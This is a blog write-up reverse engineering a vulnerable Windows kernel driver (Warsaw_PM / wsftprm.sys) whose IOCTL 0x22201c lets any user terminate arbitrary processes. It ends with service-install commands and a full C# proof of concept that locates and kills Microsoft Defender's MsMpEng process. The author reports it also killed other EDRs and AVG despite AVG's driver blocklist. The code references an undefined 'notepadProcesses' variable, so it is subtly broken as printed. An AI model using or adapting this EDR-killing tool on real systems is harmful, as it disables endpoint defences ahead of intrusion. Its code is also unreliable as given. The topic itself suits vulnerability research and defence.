Vulnerable Drivers - Revisited
I came across another vulnerable driver while browsing my feed the other day. Following my research last year, I was curious how much of the methodology can be carried over.
The original research was conducted by Northwave Cyber Security:
This time I've only given myself the name of the driver to start with, and I'm using Binary Ninja instead of Ghidra to explore other reverse engineering tools.
Discovery
Dropping the driver into Binary Ninja was painless. It immediately placed me at the start of the driver.
There are only two major functions: the first one is used to set up the stack cookie, which is not important to my goals so I jumped into the next function. It takes in the driver object and registry path.
In this function, I explored the functions where the driver object is passed in as an argument, and eventually landed on a promising function that I decided to call initDriver.
Finding the File Path
One of the things to find is the file path which we need to call the driver from. In the initDriver function I noticed two strings being populated from two functions that I renamed to decodePath32() and decodepath64().
In the functions, I noticed a similar structure which looked like a decryption routine.
After some quick analysis, these two decryption functions return \Device\Warsaw_PM and \DosDevices\Warsaw_PPM. The first is for a x64 system, while the latter is for a 32-bit system. This is the file handle that the user-land process will need to call in order to interact with the driver.
The blog post from Northwave Cyber Security also confirms this.
These strings are used to create the device. Note to self - it may be faster to look for IoCreateDevice in the future to quickly navigate to the actual function of interest.
Now that I have found the file path to get a handle to the driver, I will need to discover the vulnerable IOCTL control code.
Looking for IOCTLs
I fouind the offset from the driver object to the MajorFunction (0x70) and a further offset of IRP_MJ_DEVICE_CONTROL (0xe) which interprets IOCTL codes.
Diving into the function, I needed to identify where the function is resolving the CurrentStackLocation, which stores the references to the input and output buffers.
Using Windbg, it shows that CurrentStackLocation is at offset 0x40 from IRP->Tail.
0:007> dt nt!_IRP -r2
...
+0x078 Tail : <unnamed-tag>
+0x000 Overlay : <unnamed-tag>
+0x000 DeviceQueueEntry : _KDEVICE_QUEUE_ENTRY
+0x000 DriverContext : [4] Ptr64 Void
+0x020 Thread : Ptr64 _ETHREAD
+0x028 AuxiliaryBuffer : Ptr64 Char
+0x030 ListEntry : _LIST_ENTRY
+0x040 CurrentStackLocation : Ptr64 _IO_STACK_LOCATION
+0x040 PacketType : Uint4B
+0x048 OriginalFileObject : Ptr64 _FILE_OBJECT
+0x050 IrpExtension : Ptr64 VoidSome searching around shows that this offset is a pointer to an IO_STACK_LOCATION struct. We are interested in this field because using WinDBG shows that this is where the user buffers are potentially stored:
0:007> dt nt!_IO_STACK_LOCATION -r2
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : UChar
+0x001 MinorFunction : UChar
+0x002 Flags : UChar
+0x003 Control : UChar
+0x008 Parameters : <unnamed-tag>
...
+0x000 DeviceIoControl : <unnamed-tag>
+0x000 OutputBufferLength : Uint4B
+0x008 InputBufferLength : Uint4B
+0x010 IoControlCode : Uint4B
+0x018 Type3InputBuffer : Ptr64 VoidThis corresponds to previous work as well.
I found an interesting function with an IOCTL code of 0x22201c . This function also checks that the input buffer's size is 0x40c. Binary Ninja has associated the IRP offset with MasterIrp in the decompilation process , but in this case, since I can see that it is loading a buffer into memory, and the same offset can also be interpreted as SystemBuffer, I will change it to SystemBuffer.
The next function to be called is sub_14000264c which is interesting because it takes in the buffer that was loaded as well as a variable that is always False. I have renamed this function as preCheckTerminate.
Since we know that arg2 is always false, the if statement is skipped. I followed the flow to the next function sub_140002848, which takes in the buffer.
Success! This function calls ZwOpenProcess and ZwTerminateProcess. It appears that the buffer passes to ZwTerminateProcess a clientId. This is a struct that has the process's PID as well as optionally a thread ID.
This opens a handle to the process which is passed to ZwTerminateProcess to be terminated.
So now we have all the details to write the POC:
- File path to call the driver
- IOCTL to supply to the driver
- Buffer to supply to the driver
POC
The driver can be downloaded from the following LOLDrivers.
I will use the same code from my previous to call the driver with some minor modifications. Since the only check is the buffer size, I made a small modification to the code which can be found in the code section below.
The driver is installed using the following commands:
sc.exe create wsftprm binPath=C:\windows\temp\wsftprm.sys type=kernel
sc.exe start wsftprmUsing accesschk, I see that anyone can access this device.
Calling the driver from my user-land process allows me to kill Microsoft Defender and other EDRs. 😄
Driver Blocklists don't always work
Previously I believed that all potentially malicious drivers will be blocked as I had to disable the AVG driver blocklist for the driver exploit to work. However in this case, it had minimal detection by VirusTotal, which might indicate that it is not being actively exploited in the wild.
I installed AVG's Antivirus with the defaults (Driver blocklist active), and it did not block the installation of the driver. Running my exploit only triggered a scan that ultimately did not block it, and I was able to kill AVG as well.
Different code in Northwave Cybersecurity?
Interestingly, if I updated my code to match Northwave's code, specifically the buffer size allocated to the input buffer 0x30c * 8, my code fails.
This is expected because the driver has an explicit check. I thought it was odd how Northwave managed to get it to work, however this may be how their code was implemented.
C# Code
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
namespace MalDriverCaller
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
out uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
static void Main(string[] args)
{
// get handle to the registered driver
string driverPath = "\\\\.\\Warsaw_PM";
IntPtr driverHandle = CreateFile(
driverPath,
0xC0000000,
0x00000000,
IntPtr.Zero,
0x3, // OPEN_EXISTING
0x80,
IntPtr.Zero);
if ((int)driverHandle == -1)
{
Console.WriteLine("[!] handle not found! Exiting");
return;
}
else
{
Console.WriteLine($"[+] Handle for driver found at {driverHandle}");
}
// find all pids
var allProcesses = Process.GetProcesses();
// Filter the processes to find those named "MsMpEng.exe"
var defenderProcesses = allProcesses
.Where(p => string.Equals(p.ProcessName, "MsMpEng", StringComparison.OrdinalIgnoreCase))
.ToList();
if (notepadProcesses.Any())
{
Console.WriteLine($"[+] Found {defenderProcesses.Count} instance(s) of Windows Defender:");
foreach (var process in defenderProcesses)
{
Console.WriteLine($"[+] Process ID: {process.Id}, Name: {process.ProcessName}, Window Title: {process.MainWindowTitle}");
// Communicate with the driver using DeviceIoControl
int[] pid = new int[1];
pid[0] = process.Id;
uint ioctlCode = 0x22201c; // IOCTL code
IntPtr inBufferPtr = Marshal.AllocHGlobal(0x40c);
Marshal.Copy(pid, 0, inBufferPtr, 1);
uint inBufferSize = 0x40c; // Input buffer size (bytes)
IntPtr outBuffer = IntPtr.Zero; // NULL
uint outBufferSize = 0; // no size
uint bytesReturned;
Console.WriteLine($"[i] Calling driver on {process.Id} at {inBufferPtr}");
bool result = DeviceIoControl(
driverHandle,
ioctlCode,
inBufferPtr,
inBufferSize,
outBuffer,
outBufferSize,
out bytesReturned,
IntPtr.Zero);
if (result)
{
Console.WriteLine($"[+] DeviceIoControl succeeded, bytes returned: {bytesReturned}, kill confirmed.");
}
else
{
Console.WriteLine("[-] DeviceIoControl failed. :(");
}
Marshal.FreeHGlobal( inBufferPtr );
}
}
else
{
Console.WriteLine("[i] No instances of MsMpEng.exe found.");
}
}
}
}